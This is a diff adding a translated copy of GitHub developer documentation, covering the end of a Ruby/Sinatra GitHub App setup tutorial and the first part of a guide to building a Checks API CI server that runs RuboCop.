+At the top of the file you'll see `set :port 3000`, which sets the port used when starting the web server to match the port you redirected your webhook payloads to in "[Step 1. Start a new Smee channel](#step-1-start-a-new-smee-channel)."
+
+The next code you'll see is the `class GHApp < Sinatra::Application` declaration. You'll write all of the code for your GitHub App inside this class.
+
+Out of the box, the class in the template does the following things:
+* [Read the environment variables](#read-the-environment-variables)
+* [Turn on logging](#turn-on-logging)
+* [Define a before filter](#define-a-before-filter)
+* [Define the route handler](#define-a-route-handler)
+* [Define the helper methods](#define-the-helper-methods)
+
+### Read the environment variables
+
+The first thing that this class does is read the three environment variables you set in "[Step 4. Prepare the runtime environment](#step-4-prepare-the-runtime-environment)" and store them in variables to use later:
+
+``` ruby
+# Expects that the private key in PEM format. Converts the newlines
+PRIVATE_KEY = OpenSSL::PKey::RSA.new(ENV['GITHUB_PRIVATE_KEY'].gsub('\n', "\n"))
+
+# Your registered app must have a secret set. The secret is used to verify
+# that webhooks are sent by GitHub.
+WEBHOOK_SECRET = ENV['GITHUB_WEBHOOK_SECRET']
+
+# The GitHub App's identifier (type integer) set when registering an app.
+APP_IDENTIFIER = ENV['GITHUB_APP_IDENTIFIER']
+```
+
+### Turn on logging
+
+Next is a code block that enables logging during development, which is the default environment in Sinatra. This code turns on logging at the `DEBUG` level to show useful output in the Terminal while you are developing the app:
+
+``` ruby
+# Turn on Sinatra's verbose logging during development
+configure :development do
+  set :logging, Logger::DEBUG
+end
+```
+
+### Define a before filter
+
+Sinatra uses [before filters](https://github.com/sinatra/sinatra#filters) that allow you to execute code before the route handler. The `before` block in the template calls four [helper methods](https://github.com/sinatra/sinatra#helpers). The template app defines those helper methods in a [later section](#define-the-helper-methods).
+
+``` ruby
+# Before each request to the `/event_handler` route
+before '/event_handler' do
+  get_payload_request(request)
+  verify_webhook_signature
+  authenticate_app
+  # Authenticate the app installation in order to run API operations
+  authenticate_installation(@payload)
+end
+```
+
+### Define a route handler
+
+An empty route is included in the template code. This code handles all `POST` requests to the `/event_handler` route. You won't write this event handler in this quickstart, but see the other [quickstart guides](/apps/quickstart-guides/) for examples of how to extend this template app.
+
+``` ruby
+post '/event_handler' do
+
+end
+```
+
+### Define the helper methods
+
+The helper methods in this template do most of the heavy lifting. Four helper methods are defined in this section of the code.
+
+#### Handling the webhook payload
+
+The first method `get_payload_request` captures the webhook payload and converts it to JSON format, which makes accessing the payload's data much easier.
+
+#### Verifying the webhook signature
+
+The second method `verify_webhook_signature` performs verification of the webhook signature to ensure that GitHub generated the event. To learn more about the code in the `verify_webhook_signature` helper method, see "[Securing your webhooks](/webhooks/securing/)." If the webhooks are secure, this method will log all incoming payloads to your Terminal. The logger code is helpful in verifying your web server is working but you can always remove it later.
+
+#### Authenticating as a GitHub App
+
+To make API calls, you'll be using the [Octokit library](http://octokit.github.io/octokit.rb/). Doing anything interesting with this library will require you, or rather your app, to authenticate. GitHub Apps have two methods of authentication:
+
+- Authenticating as a GitHub App using a [JSON Web Token (JWT)](https://jwt.io/introduction).
+- Authenticating as a specific installation of a GitHub App using an installation access token.
+
+You'll learn about authenticating as an installation in the [next section](#authenticating-as-an-installation).
+
+[Authenticating as a GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app) lets you do a couple of things:
+
+ * You can retrieve high-level management information about your GitHub App.
+ * You can request access tokens for an installation of the app.
+
+For example, you would authenticate as a GitHub App to retrieve a list of the accounts (organization and personal) that have installed your app. But this authentication method doesn't allow you to do much with the API. To access a repository's data and perform operations on behalf of the installation, you need to authenticate as an installation. To do that, you'll need to authenticate as a GitHub App first to request an installation access token.
+
+Before you can use the Octokit.rb library to make API calls, you'll need to initialize an [Octokit client](http://octokit.github.io/octokit.rb/Octokit/Client.html) authenticated as a GitHub App. The `authenticate_app` helper method does just that!
+
+``` ruby
+# Instantiate an Octokit client authenticated as a GitHub App.
+# GitHub App authentication requires that you construct a
+# JWT (https://jwt.io/introduction/) signed with the app's private key,
+# so GitHub can be sure that it came from the app an not altered by
+# a malicious third party.
+def authenticate_app
+  payload = {
+      # The time that this JWT was issued, _i.e._ now.
+      iat: Time.now.to_i,
+
+      # JWT expiration time (10 minute maximum)
+      exp: Time.now.to_i + (10 * 60),
+
+      # Your GitHub App's identifier number
+      iss: APP_IDENTIFIER
+  }
+
+  # Cryptographically sign the JWT
+  jwt = JWT.encode(payload, PRIVATE_KEY, 'RS256')
+
+  # Create the Octokit client, using the JWT as the auth token.
+  @app_client ||= Octokit::Client.new(bearer_token: jwt)
+end
+```
+
+The code above generates a [JSON Web Token (JWT)](https://jwt.io/introduction) and uses it (along with your app's private key) to initialize the Octokit client. GitHub checks a request's authentication by verifying the token with the app's stored public key. To learn more about how this code works, see "[Authenticating as a GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app)."
+
+#### Authenticating as an installation
+
+An _installation_ refers to any user or organization account that has installed the app. Even if someone installs the app on more than one repository, it only counts as one installation because it's within the same account. The last helper method `authenticate_installation` initializes an [Octokit client](http://octokit.github.io/octokit.rb/Octokit/Client.html) authenticated as an installation. This Octokit client is what you'd use to make authenticated API calls.
+
+``` ruby
+# Instantiate an Octokit client authenticated as an installation of a
+# GitHub App to run API operations.
+def authenticate_installation(payload)
+  installation_id = payload['installation']['id']
+  installation_token = @app_client.create_app_installation_access_token(installation_id)[:token]
+  @installation_client = Octokit::Client.new(bearer_token: installation_token)
+end
+```
+
+The [`create_app_installation_access_token`](http://octokit.github.io/octokit.rb/Octokit/Client/Apps.html#create_app_installation_access_token-instance_method) Octokit method creates an installation token. This method accepts two arguments:
+
+* Installation (integer): The ID of a GitHub App installation
+* Options (hash, defaults to `{}`): A customizable set of options
+
+Any time a GitHub App receives a webhook, it includes an `installation` object with an `id`. Using the client authenticated as a GitHub App, you pass this ID to the `create_app_installation_access_token` method to generate an access token for each installation. Since you're not passing any options to the method, the options default to an empty hash. If you look back at [the docs](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation), you can see the response for `create_app_installation_access_token` includes two fields: `token` and `expired_at`. The template code selects the token in the response and initializes an installation client.
+
+With this method in place, each time your app receives a new webhook payload, it creates a client for the installation that triggered the event. This authentication process enables your GitHub App to work for all installations on any account.
+
+Now you're ready to start making API calls!
+
+## Step 6. Start the server
+
+Your app doesn't _do_ anything yet, but at this point, you can get it running on the server.
+
+Keep Smee running in the current tab in your Terminal. Open a new tab and `cd` into the directory where you [cloned the template app code](#prerequisites). The Ruby code in this repository will start up a [Sinatra](http://sinatrarb.com/) web server. This code has a few dependencies. You can install these by running:
+
+```shell
+$ gem install bundler
+```
+
+Followed by:
+
+```shell
+$ bundle install
+```
+
+With the dependencies installed, you can start the server:
+
+```shell
+$ bundle exec ruby template_server.rb
+```
+
+You should see a response like:
+
+```shell
+> == Sinatra (v2.0.3) has taken the stage on 3000 for development with backup from Puma
+> Puma starting in single mode...
+> * Version 3.11.2 (ruby 2.4.0-p0), codename: Love Song
+> * Min threads: 0, max threads: 16
+> * Environment: development
+> * Listening on tcp://localhost:3000
+> Use Ctrl-C to stop
+```
+
+If you see an error, make sure you've created the `.env` file in the directory that contains `template_server.rb`.
+
+Once the server is running, you can test it by going to `http://localhost:3000` in your browser. If the app works as expected, you'll see a helpful error page:
+
+<img src="/assets/images/sinatra-404.png" alt="Sinatra's 404 error page" width="500px"/>
+
+This is good! Even though it's an error page, it's a _Sinatra_ error page, which means your app is connected to the server as expected. You're seeing this message because you haven't given the app anything else to show.
+
+## Step 7. Install the app on your account
+
+You can test that the server is listening to your app by triggering an event for it to receive. A simple event you can test is installing the app on your GitHub account, which should send the [`installation`](/webhooks/event-payloads/#installation) event. If the app receives it, you should see some output in the Terminal tab where you started `template_server.rb`.
+
+To install the app, visit the [app settings page](https://github.com/settings/apps), choose your app, and click **Install App** in the sidebar. Next to your username, click **Install**.
+
+You'll be asked whether to install the app on all repositories or selected repositories. If you don't want to install the app on _all_ of your repositories, that's okay! You may want to create a sandbox repository for testing purposes and install your app there.
+
+<img src="/assets/images/install_permissions.png" alt="App installation permissions" width="500px"/>
+
+After you click **Install**, look at the output in your Terminal. You should see something like this:
+
+```shell
+> D, [2018-06-29T15:45:43.773077 #30488] DEBUG -- : ---- received event integration_installation
+> D, [2018-06-29T15:45:43.773141 #30488] DEBUG -- : ----         action created
+> 192.30.252.44 - - [29/Jun/2018:15:45:43 -0400] "POST / HTTP/2" 200 2 0.0067
+> D, [2018-06-29T15:45:43.833016 #30488] DEBUG -- : ---- received event installation
+> D, [2018-06-29T15:45:43.833062 #30488] DEBUG -- : ----         action created
+> 192.30.252.39 - - [29/Jun/2018:15:45:43 -0400] "POST / HTTP/2" 200 2 0.0019
+```
+
+This is good news! It means your app received a notification that it was installed on your GitHub account. If you see something like this, your app is running on the server as expected. 🙌
+
+If you don't see the output, make sure Smee is running correctly in another Terminal tab. If you need to restart Smee, note that you'll also need to _uninstall_ and _reinstall_ the app to send the `installation` event to your app again and see the output in Terminal. If Smee isn't the problem, see the "[Troubleshooting](#troubleshooting)" section for other ideas.
+
+If you're wondering where the Terminal output above is coming from, it's written in the [app template code](#prerequisites) in `template_server.rb`.
+
+## Troubleshooting
+
+Here are a few common problems and some suggested solutions. If you run into any other trouble, you can ask for help or advice in the {% data reusables.support.prodname_support_forum_with_url %}.
+
+* **Q:** When I try to install the Smee command-line client, I get the following error:
+
+    ```shell
+    > npm: command not found
+    ```
+
+    **A:** Looks like you don't have npm installed. The best way to install it is to download the Node.js package at https://nodejs.org and follow the installation instructions for your system. npm will be installed alongside Node.js.
+
+* **Q:** When I run the server, I get the following error:
+
+    ```shell
+    > server.rb:38:in `initialize': Neither PUB key nor PRIV key: header too long (OpenSSL::PKey::RSAError)
+    ```
+
+    **A:** You probably haven't set up your private key environment variable quite right. Your `GITHUB_PRIVATE_KEY` variable should look like this:
+
+    ```
+    GITHUB_PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
+    ...
+    HkVN9...
+    ...
+    -----END RSA PRIVATE KEY-----"
+    ```
+
+    Double-check that you've copied the correct public key into your `.env` file.
+
+* **Q:** When I run the server, it crashes with this error:
+
+    ```shell
+    > Octokit::Unauthorized ... 401 - Bad credentials`
+    ```
+
+    **A:** You may be authenticated as a GitHub App but not as an installation. Make sure you follow all the steps under "[Authenticate as an installation](#authenticating-as-an-installation)," and use the `@installation_client` instance variable (authenticated with an installation access token) for your API operations, not the `@app_client` instance variable (authenticated with a JWT). The `@app_client` can only retrieve high-level information about your app and obtain installation access tokens. It can't do much else in the API.
+
+* **Q:** My server isn't listening to events! The Smee client is running in a Terminal window, and I'm installing the app on a repository on GitHub, but I don't see any output in the Terminal window where I'm running the server.
+
+    **A:** You may not be running the Smee client, running the Smee command with the wrong parameters or you may not have the correct Smee domain in your GitHub App settings. First check to make sure the Smee client is running in a Terminal tab. If that's not the problem, visit your [app settings page](https://github.com/settings/apps) and check the fields shown in "[Step 2. Register a new GitHub App](#step-2-register-a-new-github-app)." Make sure the domain in those fields matches the domain you used in your `smee -u <unique_channel>` command in "[Step 1. Start a new Smee channel](#step-1-start-a-new-smee-channel)." If none of the above work, check that you are running the full Smee command including the `--path` and `--port` options, for example: `smee --url https://smee.io/qrfeVRbFbffd6vD --path /event_handler --port 3000` (replacing `https://smee.io/qrfeVRbFbffd6vD` with your own Smee domain).
+
+* **Q:** I'm getting an `Octokit::NotFound` 404 error in my debug output:
+    ```
+    2018-12-06 15:00:56 - Octokit::NotFound - POST {% data variables.product.api_url_code %}/app/installations/500991/access_tokens: 404 - Not Found // See: /v3/apps/#create-a-new-installation-token:
+    ```
+
+    **A:** Ensure the variables in your `.env` file are correct. Make sure that you have not set identical variables in any other environment variable files like `bash_profile`. You can check the environment variables your app is using by adding `puts` statements to your app code and re-running the code. For example, to ensure you have the correct private key set, you could add `puts PRIVATE_KEY` to your app code:
+
+    ```
+    PRIVATE_KEY = OpenSSL::PKey::RSA.new(ENV['GITHUB_PRIVATE_KEY'].gsub('\n', "\n"))
+    puts PRIVATE_KEY
+    ```
+
+## Conclusion
+
+After walking through this guide, you've learned the basic building blocks for developing GitHub Apps! To review, you:
+
+* Registered a new GitHub App
+* Used Smee to receive webhook payloads
+* Ran a simple web server via Sinatra
+* Authenticated as a GitHub App
+* Authenticated as an installation
+
+## Next steps
+
+You now have a GitHub App running on a server. It doesn't do anything special yet, but check out some of the ways you can customize your GitHub App template in the other [quickstart guides](/apps/quickstart-guides/).
diff --git a/translations/de-DE/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md b/translations/de-DE/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md
new file mode 100644
index 0000000000..d7a628b157
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md
@@ -0,0 +1,754 @@
+---
+title: Creating CI tests with the Checks API
+intro: 'Build a continuous integration server to run tests using a {% data variables.product.prodname_github_app %} and the Checks API.'
+redirect_from:
+  - /apps/quickstart-guides/creating-ci-tests-with-the-checks-api
+  - /developers/apps/creating-ci-tests-with-the-checks-api
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: CI tests using Checks API
+---
+## Introduction
+
+This guide will introduce you to [GitHub Apps](/apps/) and the [Checks API](/rest/reference/checks), which you'll use to build a continuous integration (CI) server that runs tests.
+
+CI is a software practice that requires frequently committing code to a shared repository. Committing code more often raises errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts. 🙌
+
+A CI server hosts code that runs CI tests such as code linters (which check style formatting), security checks, code coverage, and other checks against new code commits in a repository. CI servers can even build and deploy code to staging or production servers. For some examples of the types of CI tests you can create with a GitHub App, check out the [continuous integration apps](https://github.com/marketplace/category/continuous-integration) available in GitHub Marketplace.
+
+{% data reusables.apps.app-ruby-guides %}
+
+### Checks API overview
+
+The [Checks API](/rest/reference/checks) allows you to set up CI tests that are automatically run against each code commit in a repository. The Checks API reports detailed information about each check on GitHub in the pull request's **Checks** tab. With the Checks API, you can create annotations with additional details for specific lines of code. Annotations are visible in the **Checks** tab. When you create an annotation for a file that is part of the pull request, the annotations are also shown in the **Files changed** tab.
+
+A _check suite_ is a group of _check runs_ (individual CI tests). Both the suite and the runs contain _statuses_ that are visible in a pull request on GitHub. You can use statuses to determine when a code commit introduces errors. Using these statuses with [protected branches](/rest/reference/repos#branches) can prevent people from merging pull requests prematurely. See "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)" for more details.
+
+The Checks API sends the [`check_suite` webhook event](/webhooks/event-payloads/#check_suite) to all GitHub Apps installed on a repository each time new code is pushed to the repository. To receive all Checks API event actions, the app must have the `checks:write` permission. GitHub automatically creates `check_suite` events for new code commits in a repository using the default flow, although [Update repository preferences for check suites](/rest/reference/checks#update-repository-preferences-for-check-suites) if you'd like. Here's how the default flow works:
+
+1. Whenever someone pushes code to the repository, GitHub sends the `check_suite` event with an action of `requested` to all GitHub Apps installed on the repository that have the `checks:write` permission. This event lets the apps know that code was pushed and that GitHub has automatically created a new check suite.
+1. When your app receives this event, it can [add check runs](/rest/reference/checks#create-a-check-run) to that suite.
+1. Your check runs can include [annotations](/rest/reference/checks#annotations-object) that are displayed on specific lines of code.
+
+**In this guide, you’ll learn how to:**
+
+* Part 1: Set up the framework for a CI server using the Checks API.
+  * Configure a GitHub App as a server that receives Checks API events.
+  * Create new check runs for CI tests when a repository receives newly pushed commits.
+  * Re-run check runs when a user requests that action on GitHub.
+* Part 2: Build on the CI server framework you created by adding a linter CI test.
+  * Update a check run with a `status`, `conclusion`, and `output` details.
+  * Create annotations on lines of code that GitHub displays in the **Checks** and **Files Changed** tab of a pull request.
+  * Automatically fix linter recommendations by exposing a "Fix this" button in the **Checks** tab of the pull request.
+
+To get an idea of what your Checks API CI server will do when you've completed this quickstart, check out the demo below:
+
+![Demo of Checks API CI sever quickstart](/assets/images/github-apps/github_apps_checks_api_ci_server.gif)
+
+## Prerequisites
+
+Before you get started, you may want to familiarize yourself with [GitHub Apps](/apps/), [Webhooks](/webhooks), and the [Checks API](/rest/reference/checks), if you're not already. You'll find more APIs in the [REST API docs](/rest). The Checks API is also available to use in [GraphQL](/graphql), but this quickstart focuses on REST. See the GraphQL [Checks Suite](/graphql/reference/objects#checksuite) and [Check Run](/graphql/reference/objects#checkrun) objects for more details.
+
+You'll use the [Ruby programming language](https://www.ruby-lang.org/en/), the [Smee](https://smee.io/) webhook payload delivery service, the [Octokit.rb Ruby library](http://octokit.github.io/octokit.rb/) for the GitHub REST API, and the [Sinatra web framework](http://sinatrarb.com/) to create your Checks API CI server app.
+
+You don't need to be an expert in any of these tools or concepts to complete this project. This guide will walk you through all the required steps. Before you begin creating CI tests with the Checks API, you'll need to do the following:
+
+1. Clone the [Creating CI tests with the Checks API](https://github.com/github-developer/creating-ci-tests-with-the-checks-api) repository.
+  ```shell
+    $ git clone https://github.com/github-developer/creating-ci-tests-with-the-checks-api.git
+  ```
+
+  Inside the directory, you'll find a `template_server.rb` file with the template code you'll use in this quickstart and a `server.rb` file with the completed project code.
+
+1. Follow the steps in the "[Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/)" quickstart to configure and run the app server. **Note:** Instead of [cloning the GitHub App template repository](/apps/quickstart-guides/setting-up-your-development-environment/#prerequisites), use the `template_server.rb` file in the repository you cloned in the previous step in this quickstart.
+
+  If you've completed a GitHub App quickstart before, make sure to register a _new_ GitHub App and start a new Smee channel to use with this quickstart.
+
+  See the [troubleshooting](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting) section if you are running into problems setting up your template GitHub App.
+
+## Part 1. Creating the Checks API interface
+
+In this part, you will add the code necessary to receive `check_suite` webhook events and create and update check runs. You'll also learn how to create check runs when a check was re-requested on GitHub. At the end of this section, you'll be able to view the check run you created in a GitHub pull request.
+
+Your check run will not be performing any checks on the code in this section. You'll add that functionality in [Part 2: Creating the Octo RuboCop CI test](#part-2-creating-the-octo-rubocop-ci-test).
+
+You should already have a Smee channel configured that is forwarding webhook payloads to your local server. Your server should be running and connected to the GitHub App you registered and installed on a test repository. If you haven't completed the steps in "[Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/)," you'll need to do that before you can continue.
+
+Let's get started! These are the steps you'll complete in Part 1:
+
+1. [Updating app permissions](#step-11-updating-app-permissions)
+1. [Adding event handling](#step-12-adding-event-handling)
+1. [Creating a check run](#step-13-creating-a-check-run)
+1. [Updating a check run](#step-14-updating-a-check-run)
+
+## Step 1.1. Updating app permissions
+
+When you [first registered your app](#prerequisites), you accepted the default permissions, which means your app doesn't have access to most resources. For this example, your app will need permission to read and write checks.
+
+To update your app's permissions:
+
+1. Select your app from the [app settings page](https://github.com/settings/apps) and click **Permissions & Webhooks** in the sidebar.
+1. In the "Permissions" section, find "Checks", and select **Read & write** in the Access dropdown next to it.
+1. In the "Subscribe to events" section, select **Check suite** and **Check run** to subscribe to these events.
+{% data reusables.apps.accept_new_permissions_steps %}
+
+Great! Your app has permission to do the tasks you want it to do. Now you can add the code to handle the events.
+
+## Step 1.2. Adding event handling
+
+Now that your app is subscribed to the **Check suite** and **Check run** events, it will start receiving the [`check_suite`](/webhooks/event-payloads/#check_suite) and [`check_run`](/webhooks/event-payloads/#check_run) webhooks. GitHub sends webhook payloads as `POST` requests. Because you forwarded your Smee webhook payloads to `http://localhost/event_handler:3000`, your server will receive the `POST` request payloads at the `post '/event_handler'` route.
+
+An empty `post '/event_handler'` route is already included in the `template_server.rb` file, which you downloaded in the [prerequisites](#prerequisites) section. The empty route looks like this:
+
+``` ruby
+  post '/event_handler' do
+
+    # # # # # # # # # # # #
+    # ADD YOUR CODE HERE  #
+    # # # # # # # # # # # #
+
+    200 # success status
+  end
+```
+
+Use this route to handle the `check_suite` event by adding the following code:
+
+``` ruby
+# Get the event type from the HTTP_X_GITHUB_EVENT header
+case request.env['HTTP_X_GITHUB_EVENT']
+when 'check_suite'
+  # A new check_suite has been created. Create a new check run with status queued
+  if @payload['action'] == 'requested' || @payload['action'] == 'rerequested'
+    create_check_run
+  end
+end
+```
+
+Every event that GitHub sends includes a request header called `HTTP_X_GITHUB_EVENT`, which indicates the type of event in the `POST` request. Right now, you're only interested in events of type `check_suite`, which are emitted when a new check suite is created. Each event has an additional `action` field that indicates the type of action that triggered the events. For `check_suite`, the `action` field can be `requested`, `rerequested`, or `completed`.
+
+The `requested` action requests a check run each time code is pushed to the repository, while the `rerequested` action requests that you re-run a check for code that already exists in the repository. Because both the `requested` and `rerequested` actions require creating a check run, you'll call a helper called `create_check_run`. Let's write that method now.
+
+## Step 1.3. Creating a check run
+
+You'll add this new method as a [Sinatra helper](https://github.com/sinatra/sinatra#helpers) in case you want other routes to use it too. Under `helpers do`, add this `create_check_run` method:
+
+``` ruby
+# Create a new check run with the status queued
+def create_check_run
+  @installation_client.create_check_run(
+    # [String, Integer, Hash, Octokit Repository object] A GitHub repository.
+    @payload['repository']['full_name'],
+    # [String] The name of your check run.
+    'Octo RuboCop',
+    # [String] The SHA of the commit to check 
+    # The payload structure differs depending on whether a check run or a check suite event occurred.
+    @payload['check_run'].nil? ? @payload['check_suite']['head_sha'] : @payload['check_run']['head_sha'],
+    # [Hash] 'Accept' header option, to avoid a warning about the API not being ready for production use.
+    accept: 'application/vnd.github+json'
+  )
+end
+```
+
+This code calls the "[Create a check run](/rest/reference/checks#create-a-check-run)" endpoint using the [create_check_run method](https://rdoc.info/gems/octokit/Octokit%2FClient%2FChecks:create_check_run).
+
+To create a check run, only two input parameters are required: `name` and `head_sha`. We will use [RuboCop](https://rubocop.readthedocs.io/en/latest/) to implement the CI test later in this quickstart, which is why the name "Octo RuboCop" is used here, but you can choose any name you'd like for the check run.
+
+You're only supplying the required parameters now to get the basic functionality working, but you'll update the check run later as you collect more information about the check run. By default, GitHub sets the `status` to `queued`.
+
+GitHub creates a check run for a specific commit SHA, which is why `head_sha` is a required parameter. You can find the commit SHA in the webhook payload. Although you're only creating a check run for the `check_suite` event right now, it's good to know that the `head_sha` is included in both the `check_suite` and `check_run` objects in the event payloads.
+
+In the code above, you're using the [ternary operator](https://ruby-doc.org/core-2.3.0/doc/syntax/control_expressions_rdoc.html#label-Ternary+if), which works like an `if/else` statement, to check if the payload contains a `check_run` object. If it does, you read the `head_sha` from the `check_run` object, otherwise you read it from the `check_suite` object.
+
+To test this code, restart the server from your terminal:
+
+```shell
+$ ruby template_server.rb
+```
+
+{% data reusables.apps.sinatra_restart_instructions %}
+
+Now open a pull request in the repository where you installed your app. Your app should respond by creating a check run on your pull request. Click on the **Checks** tab, and you should see something like this:
+
+![Queued check run](/assets/images/github-apps/github_apps_queued_check_run.png)
+
+If you see other apps in the Checks tab, it means you have other apps installed on your repository that have **Read & write** access to checks and are subscribed to **Check suite** and **Check run** events.
+
+Great! You've told GitHub to create a check run. You can see the check run status is set to `queued` next to a yellow icon. Next, you'll want to wait for GitHub to create the check run and update its status.
+
+## Step 1.4. Updating a check run
+
+When your `create_check_run` method runs, it asks GitHub to create a new check run. When GitHub finishes creating the check run, you'll receive the `check_run` webhook event with the `created` action. That event is your signal to begin running the check.
+
+You'll want to update your event handler to look for the `created` action. While you're updating the event handler, you can add a conditional for the `rerequested` action. When someone re-runs a single test on GitHub by clicking the "Re-run" button, GitHub sends the `rerequested` check run event to your app. When a check run is `rerequested`, you'll want to start the process all over and create a new check run.
+
+To include a condition for the `check_run` event in the `post '/event_handler'` route, add the following code under `case request.env['HTTP_X_GITHUB_EVENT']`:
+
+``` ruby
+when 'check_run'
+  # Check that the event is being sent to this app
+  if @payload['check_run']['app']['id'].to_s === APP_IDENTIFIER
+    case @payload['action']
+    when 'created'
+      initiate_check_run
+    when 'rerequested'
+      create_check_run
+    end
+  end
+```
+
+GitHub sends all events for `created` check runs to every app installed on a repository that has the necessary checks permissions. That means that your app will receive check runs created by other apps. A `created` check run is a little different from a `requested` or `rerequested` check suite, which GitHub sends only to apps that are being requested to run a check. The code above looks for the check run's application ID. This filters out all check runs for other apps on the repository.
+
+Next you'll write the `initiate_check_run` method, which is where you'll update the check run status and prepare to kick off your CI test.
+
+In this section, you're not going to kick off the CI test yet, but you'll walk through how to update the status of the check run from `queued` to `pending` and then from `pending` to `completed` to see the overall flow of a check run. In "[Part 2: Creating the Octo RuboCop CI test](#part-2-creating-the-octo-rubocop-ci-test)," you'll add the code that actually performs the CI test.
+
+Let's create the `initiate_check_run` method and update the status of the check run. Add the following code to the helpers section:
+
+``` ruby
+# Start the CI process
+def initiate_check_run
+  # Once the check run is created, you'll update the status of the check run
+  # to 'in_progress' and run the CI process. When the CI finishes, you'll
+  # update the check run status to 'completed' and add the CI results.
+
+  @installation_client.update_check_run(
+    @payload['repository']['full_name'],
+    @payload['check_run']['id'],
+    status: 'in_progress',
+    accept: 'application/vnd.github+json'
+  )
+
+  # ***** RUN A CI TEST *****
+
+  # Mark the check run as complete!
+  @installation_client.update_check_run(
+    @payload['repository']['full_name'],
+    @payload['check_run']['id'],
+    status: 'completed',
+    conclusion: 'success',
+    accept: 'application/vnd.github+json'
+  )
+end
+```
+
+The code above calls the "[Update a check run](/rest/reference/checks#update-a-check-run)" API endpoint using the [`update_check_run` Octokit method](https://rdoc.info/gems/octokit/Octokit%2FClient%2FChecks:update_check_run) to update the check run that you already created.
+
+Here's what this code is doing. First, it updates the check run's status to `in_progress` and implicitly sets the `started_at` time to the current time. In [Part 2](#part-2-creating-the-octo-rubocop-ci-test) of this quickstart, you'll add code that kicks off a real CI test under `***** RUN A CI TEST *****`. For now, you'll leave that section as a placeholder, so the code that follows it will just simulate that the CI process succeeds and all tests pass. Finally, the code updates the status of the check run again to `completed`.
+
+You'll notice in the "[Update a check run](/rest/reference/checks#update-a-check-run)" docs that when you provide a status of `completed`, the `conclusion` and `completed_at` parameters are required. The `conclusion` summarizes the outcome of a check run and can be `success`, `failure`, `neutral`, `cancelled`, `timed_out`, or `action_required`. You'll set the conclusion to `success`, the `completed_at` time to the current time, and the status to `completed`.
+
+You could also provide more details about what your check is doing, but you'll get to that in the next section. Let's test this code again by re-running `template_server.rb`:
+
+```shell
+$ ruby template_server.rb
+```
+
+Head over to your open pull request and click the **Checks** tab. Click the "Re-run all" button in the upper left corner. You should see the check run move from `pending` to `in_progress` and end with `success`:
+
+![Completed check run](/assets/images/github-apps/github_apps_complete_check_run.png)
+
+## Part 2. Creating the Octo RuboCop CI test
+
+[RuboCop](https://rubocop.readthedocs.io/en/latest/) is a Ruby code linter and formatter. It checks Ruby code to ensure that it complies with the "[Ruby Style Guide](https://github.com/rubocop-hq/ruby-style-guide)." RuboCop has three primary functions:
+
+* Linting to check code style
+* Code formatting
+* Replaces the native Ruby linting capabilities using `ruby -w`
+
+Now that you've got the interface created to receive Checks API events and create check runs, you can create a check run that implements a CI test.
+
+Your app will run RuboCop on the CI server and create check runs (CI tests in this case) that report the results that RuboCop reports to GitHub.
+
+The Checks API allows you to report rich details about each check run, including statuses, images, summaries, annotations, and requested actions.
+
+Annotations are information about specific lines of code in a repository. An annotation allows you to pinpoint and visualize the exact parts of the code you'd like to show additional information for. That information can be anything: for example, a comment, an error, or a warning. This quickstart uses annotations to visualize RuboCop errors.
+
+To take advantage of requested actions, app developers can create buttons in the **Checks** tab of pull requests. When someone clicks one of these buttons, the click sends a `requested_action` `check_run` event to the GitHub App. The action that the app takes is completely configurable by the app developer. This quickstart will walk you through adding a button that allows users to request that RuboCop fix the errors it finds. RuboCop supports automatically fixing errors using a command-line option, and you'll configure the `requested_action` to take advantage of this option.
+
+Let's get started! These are the steps you'll complete in this section:
+
+1. [Adding a Ruby file](#step-21-adding-a-ruby-file)
+1. [Cloning the repository](#step-22-cloning-the-repository)
+1. [Running RuboCop](#step-23-running-rubocop)
+1. [Collecting RuboCop errors](#step-24-collecting-rubocop-errors)
+1. [Updating the check run with CI test results](#step-25-updating-the-check-run-with-ci-test-results)
+1. [Automatically fixing RuboCop errors](#step-26-automatically-fixing-rubocop-errors)
+1. [Security tips](#step-27-security-tips)
+
+## Step 2.1. Adding a Ruby file
+
+You can pass specific files or entire directories for RuboCop to check. In this quickstart, you'll run RuboCop on an entire directory. Because RuboCop only checks Ruby code, you'll want at least one Ruby file in your repository that contains errors. The example file provided below contains a few errors. Add this example Ruby file to the repository where your app is installed (make sure to name the file with an `.rb` extension, as in `myfile.rb`):
+
+```ruby
+# The Octocat class tells you about different breeds of Octocat
+class Octocat
+  def initialize(name, *breeds)
+    # Instance variables
+    @name = name
+    @breeds = breeds
+  end
+
+  def display
+    breed = @breeds.join("-")
+
+    puts "I am of #{breed} breed, and my name is #{@name}."
+  end
+end
+
+m = Octocat.new("Mona", "cat", "octopus")
+m.display
+```
+
+## Step 2.2. Cloning the repository
+
+RuboCop is available as a command-line utility. That means your GitHub App will need to clone a local copy of the repository on the CI server so RuboCop can parse the files. To run Git operations in your Ruby app, you can use the [ruby-git](https://github.com/ruby-git/ruby-git) gem.
+
+The `Gemfile` in the `building-a-checks-api-ci-server` repository already includes the ruby-git gem, and you installed it when you ran `bundle install` in the [prerequisite steps](#prerequisites). To use the gem, add this code to the top of your `template_server.rb` file:
+
+``` ruby
+require 'git'
+```
+
+Your app needs read permission for "Repository contents" to clone a repository. Later in this quickstart, you'll need to push contents to GitHub, which requires write permission. Go ahead and set your app's "Repository contents" permission to **Read & write** now so you don't need to update it again later. To update your app's permissions:
+
+1. Select your app from the [app settings page](https://github.com/settings/apps) and click **Permissions & Webhooks** in the sidebar.
+1. In the "Permissions" section, find "Repository contents", and select **Read & write** in the "Access" dropdown next to it.
